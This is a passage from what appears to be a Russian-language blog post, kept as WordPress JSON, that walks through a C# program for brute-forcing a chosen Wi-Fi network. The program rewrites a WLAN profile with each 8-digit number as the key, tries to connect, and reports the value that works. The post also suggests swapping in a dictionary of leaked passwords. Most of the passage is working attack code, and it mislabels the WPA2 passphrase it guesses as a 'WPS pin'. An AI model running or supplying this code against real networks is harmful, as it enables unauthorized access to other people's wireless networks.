BitConverter.ToString(hexBytes).Replace(\"-\", \"\");  string profileXml = string.Format(                 \"&lt;?xml version=\\\"1.0\\\"?>&lt;WLANProfile xmlns=\\\"http:\/\/www.microsoft.com\/networking\/WLAN\/profile\/v1\\\">&lt;name>{0}&lt;\/name>&lt;SSIDConfig>&lt;SSID>&lt;hex>{1}&lt;\/hex>&lt;name>{0}&lt;\/name>&lt;\/SSID>&lt;\/SSIDConfig>&lt;connectionType>ESS&lt;\/connectionType>&lt;connectionMode>manual&lt;\/connectionMode>&lt;autoSwitch>false&lt;\/autoSwitch>&lt;MSM>&lt;security>&lt;authEncryption>&lt;authentication>WPA2PSK&lt;\/authentication>&lt;encryption>AES&lt;\/encryption>&lt;useOneX>false&lt;\/useOneX>&lt;\/authEncryption>&lt;sharedKey>&lt;keyType>passPhrase&lt;\/keyType>&lt;protected>false&lt;\/protected>&lt;keyMaterial>{2}&lt;\/keyMaterial>&lt;\/sharedKey>&lt;keyIndex>0&lt;\/keyIndex>&lt;\/security>&lt;\/MSM>&lt;\/WLANProfile>\",                 profileName, hex, key);<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0431\u044b\u043b\u043e \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0441\u0430\u043c\u043e\u043c \u043d\u0430\u0447\u0430\u043b\u0435, \u043d\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u0430\u043a\u043e\u0439 xml \u043f\u0440\u043e\u0444\u0438\u043b\u044c, \u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 \u0441\u0435\u0442\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c\u0441\u044f. \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 Connect, \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435:<\/p>\n<pre><code class=\"cs\">try {   wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);   wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);   await Task.Delay(2 * 1000); } catch (Exception e) {   Console.WriteLine(e); }<\/code><\/pre>\n<h2>\u0428\u0430\u0433 3<\/h2>\n<p>\u0421\u043e\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0435 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c:<\/p>\n<pre><code class=\"cs\">using System.Text; using NativeWifi;  \/\/ \u0411\u0435\u0440\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u043e\u043f\u0430\u0432\u0448\u0438\u0439\u0441\u044f Wi-Fi \u0430\u0434\u0430\u043f\u0442\u0435\u0440 WlanClient client = new (); WlanClient.WlanInterface wlan = client.Interfaces[0]; wlan.Scan(); Wlan.WlanAvailableNetwork[] networks = wlan.GetAvailableNetworkList(0); if (networks.Length == 0) {   OutputExtensions.PrintRow(\"No networks found\");   return; }  \/\/ \u041e\u0442\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u0435\u0442\u044c \u043f\u043e \u0435\u0451 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e Wlan.WlanAvailableNetwork network = networks         .FirstOrDefault(n => Encoding.Default.GetString(n.dot11Ssid.SSID) == \"desired_network_name\");  \/\/ \u041f\u043e\u0434\u0433\u043e\u0442\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f string profileName = Encoding.Default.GetString(network.dot11Ssid.SSID); byte[] hexBytes = Encoding.Default.GetBytes(profileName); string hex = BitConverter.ToString(hexBytes).Replace(\"-\", \"\");  \/\/ \u041f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f WPS pin - \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c 8 \u0446\u0438\u0444\u0440. \/\/ \u0422\u0430\u043a\u0436\u0435 \u0436\u0435 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044e \u0443\u0442\u0435\u043a\u0448\u0438\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 for (int i = 0; i &lt; 99999999; i++) {   string wpsPin = $\"{i}\";   wpsPin = new string('0', 8 - wpsPin.Length) + wpsPin;   Console.WriteLine($\"Trying pin {wpsPin}\");    string profileXml = string.Format(     \"&lt;?xml version=\\\"1.0\\\"?>&lt;WLANProfile xmlns=\\\"http:\/\/www.microsoft.com\/networking\/WLAN\/profile\/v1\\\">&lt;name>{0}&lt;\/name>&lt;SSIDConfig>&lt;SSID>&lt;hex>{1}&lt;\/hex>&lt;name>{0}&lt;\/name>&lt;\/SSID>&lt;\/SSIDConfig>&lt;connectionType>ESS&lt;\/connectionType>&lt;connectionMode>manual&lt;\/connectionMode>&lt;autoSwitch>false&lt;\/autoSwitch>&lt;MSM>&lt;security>&lt;authEncryption>&lt;authentication>WPA2PSK&lt;\/authentication>&lt;encryption>AES&lt;\/encryption>&lt;useOneX>false&lt;\/useOneX>&lt;\/authEncryption>&lt;sharedKey>&lt;keyType>passPhrase&lt;\/keyType>&lt;protected>false&lt;\/protected>&lt;keyMaterial>{2}&lt;\/keyMaterial>&lt;\/sharedKey>&lt;keyIndex>0&lt;\/keyIndex>&lt;\/security>&lt;\/MSM>&lt;\/WLANProfile>\",     profileName, hex, wpsPin);    try   {     wlan.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);     wlan.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName);     \/\/ \u0422\u0443\u0442 \u0437\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438     \/\/ \u0412 \u043c\u043e\u0435\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, \u043d\u043e     \/\/ \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e     await Task.Delay(2 * 1000);   }   catch (Exception e)   {     Console.WriteLine(e);   }    if (wlan.CurrentConnection.isState == Wlan.WlanInterfaceState.Connected)   {     Console.WriteLine($\"WPS pin is {wpsPin}\");     break;   }    Console.WriteLine($\"WPS pin {wpsPin} did not work\"); }<\/code><\/pre>\n<h2>\u0412\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f<\/h2>\n<p>\u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0430\u043c\u043c\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u0430 WPS pin \u043d\u0430 C# \u043c\u043e\u0436\u043d\u043e, \u0430 \u043a\u0440\u043e\u043c\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0446\u0438\u0444\u0440 \u043f\u0440\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043c\u044b\u0441\u043b\u0430 \u0432 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043a\u0440\u0430\u0439\u043d\u0435 \u043c\u0430\u043b\u043e, \u043d\u043e \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0447\u0442\u043e-\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Wi-Fi<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-335525","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/335525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=335525"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/335525\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=335525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=335525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=335525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}